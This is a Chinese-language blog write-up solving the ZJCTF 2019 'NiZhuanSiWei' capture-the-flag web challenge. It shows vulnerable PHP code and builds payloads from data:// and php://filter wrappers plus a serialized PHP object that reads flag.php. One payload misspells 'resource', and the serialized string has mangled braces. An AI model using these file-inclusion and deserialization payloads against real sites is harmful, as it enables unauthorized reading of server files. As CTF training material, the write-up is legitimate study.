ZJCTF_2019 NiZhuanSiWei


[ZJCTF 2019]NiZhuanSiWei

进入页面便是代码

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

代码审计

file_get_contents($text,'r')==="welcome to the zjctf"读取$text内容与后面比较

file_get_contents可以用到伪协议

enctype=”multipart/form-data” 的时候 php://input 是无效的

构造payload

?text=data:text/plain,welcome to the zjctf

preg_match("/flag/",$file)file不能包含flag

include($file); //useless.php包含文件

payload

?file=php://filter/read=convert.base64-encode/resoure=useless.php

payload

?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

得到

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

解码的

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

$password = unserialize($password);反序列化函数

将上面一个类序列化

O:4:"Flag":1:&123s:4:"file";s:8:"flag.php";&125

最终payload

?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:&123s:4:"file";s:8:"flag.php";&125

最后ctrl+U查看flag


文章作者: 0xdadream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0xdadream !
评论
  目录